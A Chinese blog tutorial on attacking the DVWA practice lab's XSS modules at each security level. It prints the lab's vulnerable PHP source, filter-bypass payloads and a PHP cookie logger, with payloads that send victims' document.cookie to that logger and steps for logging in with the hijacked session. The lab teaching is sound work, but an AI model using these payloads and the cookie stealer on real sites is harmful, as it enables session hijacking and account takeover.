美文网首页
Kali Linux系统利用DVW靶场测试XSS漏洞:

Kali Linux系统利用DVW靶场测试XSS漏洞:

作者: 我准备注销了请取关 | 来源:发表于2019-04-12 13:17 被阅读0次

    首先打开DVWA,设置安全等级为Low:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    打开XSS测试模块:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    测试是否存在反射型XSS,输入<script>alert(1)</script>证明是否弹窗:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    利用alert(document.cookie)弹出用户cookie:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    反射型方案一:LOW:

    编写Cookie.php并将其放在Web服务器上,此处演示地址为:http://127.0.0.1/dvwa/:

    <?php

    $cookie = $_GET['cookie'];

    file_put_contents('cookie.txt',$cookie);

    ?>

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    构造如下URL,并发送给被攻击者:

    原始URL:

    http://location/dvwa/vulnerabilities/xss_r/?name=

    <script>doument.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

    需要进行URL编码:

    http://localhost/dvwa/vulnerabilities/xss_r/?name=

    %3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#

    受害者点击URL,会跳转到http://127.0.0.1/dvwa/cookie.php,并将Cookie写入到同目录cookie.txt中:
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    最后攻击者利用获取到Cookie登录到受害者的账户:

    Kali Linux系统利用DVW靶场测试XSS漏洞: Kali Linux系统利用DVW靶场测试XSS漏洞:

    反射型方案二:LOW:

    PHP获取Cookie+IP代码:

    <?php

    $cookie = $_GET['cookie'];

    $ip = getenv ('REMOTE_ADDR');

    $time = date('Y-m-d g:i:s');

    $fp = fopen("cookie.txt","a");

    fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");

    fclose($fp);

    ?> 

    注:将PHP文件上传到服务器Web目录下 ,然后访问链接:localhost/getcookie.php?cookie=111测试php代码:
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    测试shic是否存在存储型XSS漏洞:

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:此处DVWA对Message框做了长度要求,通过HTML改大即可,登录这个页面后该用户的Cookie就会自动保存到cookie.txt下面:
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    利用劫持到Cookies登录用户!

    反射型方案三:MEDIUM:

    网站源代码:

    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Get input

        $name = str_replace( '<script>', '', $_GET[ 'name' ] );

        // Feedback for end user

        echo "<pre>Hello ${name}</pre>";

    }

    ?>

    注:过滤了<script>,采用大小写混合方式绕过:

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</scRipt>

    反射型方案三:HIGH:

    源代码:

    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Get input

        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

        // Feedback for end user

        echo "<pre>Hello ${name}</pre>";

    }

    ?>

    注:过滤了<Script>标签所有可能形式,使用类似<iframe onload=alert(‘haha’)>的标签绕过:

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<iframe onload=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>

    成功获取到Cookie!


    存储型方案一:LOW:

    源代码:

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = stripslashes( $message );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Sanitize name input

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:trim()函数,用于去除字符串左右两侧的空格;stripslashes()函数,用于去除字符串中的反斜杠;mysqli_real_escape_string()对sql语句中的特殊字符进行转义。此处只是对输入的name,message做了防止SQL注入过滤,并没有对输入的字符串进行安全性过滤和处理,当字符串写入数据库的时候,如果存在特殊字符,也会被转义,但是当从数据库中调出的时候,并不影响特殊字符的功能.

    Name输入框中输入:

    <script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</script>

    今后每次访问该界面都返回Cookie,再次实验时删除MySQL数据库中数据即可.


    存储型方案二:MEDIUM:

    源代码:

    Stored XSS Source

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = strip_tags( addslashes( $message ) );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $message = htmlspecialchars( $message );

        // Sanitize name input

        $name = str_replace( '<script>', '', $name );

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:strip_tags()函数去除html标签;htmlspecialchars()函数将预定义字符转换成html实体;str_replace()函数将指定的字符或字符串转换成别的字符,这里是将<script>转为空,缺点就是转义的时候区分大小写,可以看出对message的值进行了标签的过滤以及预定义符的转义;对name的值进行了转义;对name进行xss攻击.

    在Name输入框中输入:

    <Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</Script>

    今后每次访问该界面都返回该Cookie.

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = strip_tags( addslashes( $message ) );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $message = htmlspecialchars( $message );

        // Sanitize name input

        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:此源码比中级别的多一个过滤函数来过滤name值,preg_replace()函数进行正则表达式匹配防止大小写,多重输入字符绕过过滤函数。这个函数虽然不错,但是如果不用与低中级相似的payload,就可以成功绕过preg_replace()函数,构造payload:

    <iframe onload=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>

    今后每次访问该界面都返回该Cookie!


    Reflected XSS方案一:Low:

    源代码:

    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Feedback for end user

        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

    }

    ?>

    Low级别代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,存在非常明显的XSS漏洞.

    输入<script>alert('hack')</script>,直接就执行了插入的JavaScript代码:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看网页源码,JavaScript代码已经被插入到页面中:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Reflected XSS方案二:Medium:

    源代码:

    <?php

    header ("X-XSS-Protection: 0")

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Get input

        $name = str_replace( '<script>', '', $_GET[ 'name' ] );

        // Feedback for end user

        echo "<pre>Hello ${name}</pre>";

    }

    ?>

    注:<pre> </pre>元素可定义预格式化的文本,被包围在pre元素中的文本通常会保留空格和换行符,而文本也会呈现为等宽字体,medium级别代码只是在low级别上增加了对于<scripit>的过滤,可以直接大写绕过,输入<SCRIPT>alert('hack')</SCRIPT>,直接就执行JavaScript代码:
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:查看网页源码查看源码,可以看到代码虽然输入的时候是大写躲过了过滤,但是最后输出的时候确是小写.
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Reflected XSS方案三:High:

    源代码:

    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Get input

        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

        // Feedback for end user

        echo "<pre>Hello ${name}</pre>";

    }

    ?>

    注:high级别代码使用了正则表达式直接把<*s*c*r*i*p*t  给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以<script>标签在这里就不能用了,但是可以通过img、body等标签事件或者iframe等标签src注入恶意的JavaScript代码,输入:<img  src=1  onerror=alert('hack')>,上面输入的意思是当图片显示错误时,然后执行alert('hack') ,这里src=1肯定显示错误,所以就执行alert语句.
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看网页源码,JavaScript代码已执行!


    Reflected XSS方案三:Impossible:

    源代码:

    <?php

    // Is there any input?

    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

        // Check Anti-CSRF token

        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

        // Get input

        $name = htmlspecialchars( $_GET[ 'name' ] );

        // Feedback for end user

        echo "<pre>Hello ${name}</pre>";

    }

    // Generate Anti-CSRF token

    generateSessionToken();

    ?>

    注:htmlspecialchars(string):把预定义的字符 "<"(小于)、 ">"(大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素。impossible级别代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击,然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止填入标签,当输入:<script>alert('hack')</script>时,因为htmlspecialchars函数会将< 和 >转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以插入的语句并不会被执行!
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:查看网页源码,表单提交过程中,把user_token也一并提交来和服务器端的session_token做验证,防止CSRF攻击,当输入插入的代码,直接被当成html文本给打印出来,并不会被当成JavaScript脚本执行.
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Stored XSS方案一:Low:

    源代码:

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = stripslashes( $message );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Sanitize name input

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、\n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符,stripslashes(string):去除掉string字符的反斜杠\,mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a进行转义,$GLOBALS:引用全局作用域中可用的全部变量,$GLOBALS这种全局变量用于在PHP脚本中的任意位置访问全局变量,从函数或方法中均可,PHP在名为$GLOBALS[index]的数组中存储了所有全局变量,变量的名字就是数组的键,low级别的代码对输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞,输入1和<script>alert('hack')</script> ,可以看到,JavaScript代码立即就执行!
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看数据库,可以看到JavaScript已经插入到数据库当中:

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:查看网页源码,可以看到Message位置显示JavaScript代码,因为这里显示的数据是调用数据库里的数据.
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Stored XSS方案二:Medium:

    源代码:

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = strip_tags( addslashes( $message ) );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $message = htmlspecialchars( $message );

        // Sanitize name input

        $name = str_replace( '<script>', '', $name );

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:addslashes(string):函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL,strip_tags(string):函数剥去string字符串中的HTML、XML以及PHP标签,htmlspecialchars(string):把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素,当再次输入1和<script>alert('hack')</script> ,strip_tags函数把<script>标签给剥除,addslashes函数把'转义成\'.
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:虽然Message参数把所有XSS都给过滤,但是name参数只是过滤了<script>标签而已,依然可以在name参数进行注入,可是发现name参数对长度有限制,最大长度是10.
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    抓包篡改:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    如下框中数据就是<script>al经过URL编码后数据:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    需要将其修改为:<SCRIPT>alert('hack')</SCRIPT>经过URL编码后的数据:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    提交后就可以看到弹出此框,说明JavaScript代码已经执行.

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看数据库,可以看到代码插入进数据库:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看页面源代码,可以看到name位置插入JavaScript代码:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Stored XSS方案三:High:

    源代码:

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = strip_tags( addslashes( $message ) );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $message = htmlspecialchars( $message );

        // Sanitize name input

        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database

        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();

    }

    ?>

    注:可以看到high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成:<img src=1  onerror=alert('hack')>,输入如下:
    Kali Linux系统利用DVW靶场测试XSS漏洞:

    然后将<img src=1  onerror=alert('hack')>进行URL编码:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    可以看到JavaScript代码已执行:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看数据库,JavaScript代码被插入进数据库:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看源代码可以看到name位置已插入img标签:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    Stored XSS方案四:Impossible:

    源代码:

    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {

        // Check Anti-CSRF token

        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

        // Get input

        $message = trim( $_POST[ 'mtxMessage' ] );

        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input

        $message = stripslashes( $message );

        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $message = htmlspecialchars( $message );

        // Sanitize name input

        $name = stripslashes( $name );

        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        $name = htmlspecialchars( $name );

        // Update database

        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

        $data->bindParam( ':message', $message, PDO::PARAM_STR );

        $data->bindParam( ':name', $name, PDO::PARAM_STR );

        $data->execute();

    }

    // Generate Anti-CSRF token

    generateSessionToken();

    ?>

    注:可以看到impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击,而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞!

    DOM XSS漏洞方案一:Low:

    源代码:

    <?php

    # No protections, anything goes

    ?>

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:页面本意是指选择默认语言,但是对default参数没有进行任何过滤.

    构造XSS代码访问链接:

    http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

    可以看到Script脚本成功执行:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    查看脚本源码:

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    DOM XSS方案二:Medium

    源代码:

    <?php

    // Is there any input?

    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

        $default = $_GET['default'];

        # Do not allow script tags (不区分大小写)

        if (stripos ($default, "<script") !== false) {

            header ("location: ?default=English");

            exit;

        }

    }

    ?>

    注:medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值,这里还使用stripos()函数用于检测default值中是否有<script> ,如果有的话,则将default=English,很明显这里过滤了<script>,不区分大小写,那么可以使用<img  src=1  onerror=('hack')>,但是目标访问URL:

    http://127.0.0.1/vulnerabilities/xss_d/?default=<img src=1 onerror=alert('hack')>

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    此时并没有弹出任何页面!

    注:查看网页源码,发现语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用.
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:所以构造闭合前面的标签,构造语句闭合option标签:

    <option value='    " + lang + "      '>  "  + decodeURI(lang) +  "  </option>

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    构造该URL链接:

    http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><img src=1 onerror=alert('hack')>

    Kali Linux系统利用DVW靶场测试XSS漏洞:

    可以看到,语句成功执行!

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:查看网页源码,语句已经插入到页面中,成功执行!

    DOM XSS方案三:High:

    源代码:

    <?php

    // Is there any input?

    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

        # White list the allowable languages

        switch ($_GET['default']) {

            case "French":

            case "English":

            case "German":

            case "Spanish":

                # ok

                break;

            default:

                header ("location: ?default=English");

                exit;

        }

    }

    ?>

    注:high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。这样语句也就无法插入到页面中.

    DOM XSS方案四:Impossible:

    源代码:

    <?php

    # Don't need to do anything, protction handled on the client side

    ?>

    注:impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面,于是目标尝试访问链接:

    http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:发现页面并没有弹出任何东西,而且语言框内的值是输入的参数经过URL编码后的数据.
    Kali Linux系统利用DVW靶场测试XSS漏洞:
    注:查看源代码发现这里对输入的参数并没有进行URL解码,所以输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以也就不存在DOM XSS漏洞.

    相关文章

      网友评论

          本文标题:Kali Linux系统利用DVW靶场测试XSS漏洞:

          本文链接:https://www.haomeiwen.com/subject/tdqcwqtx.html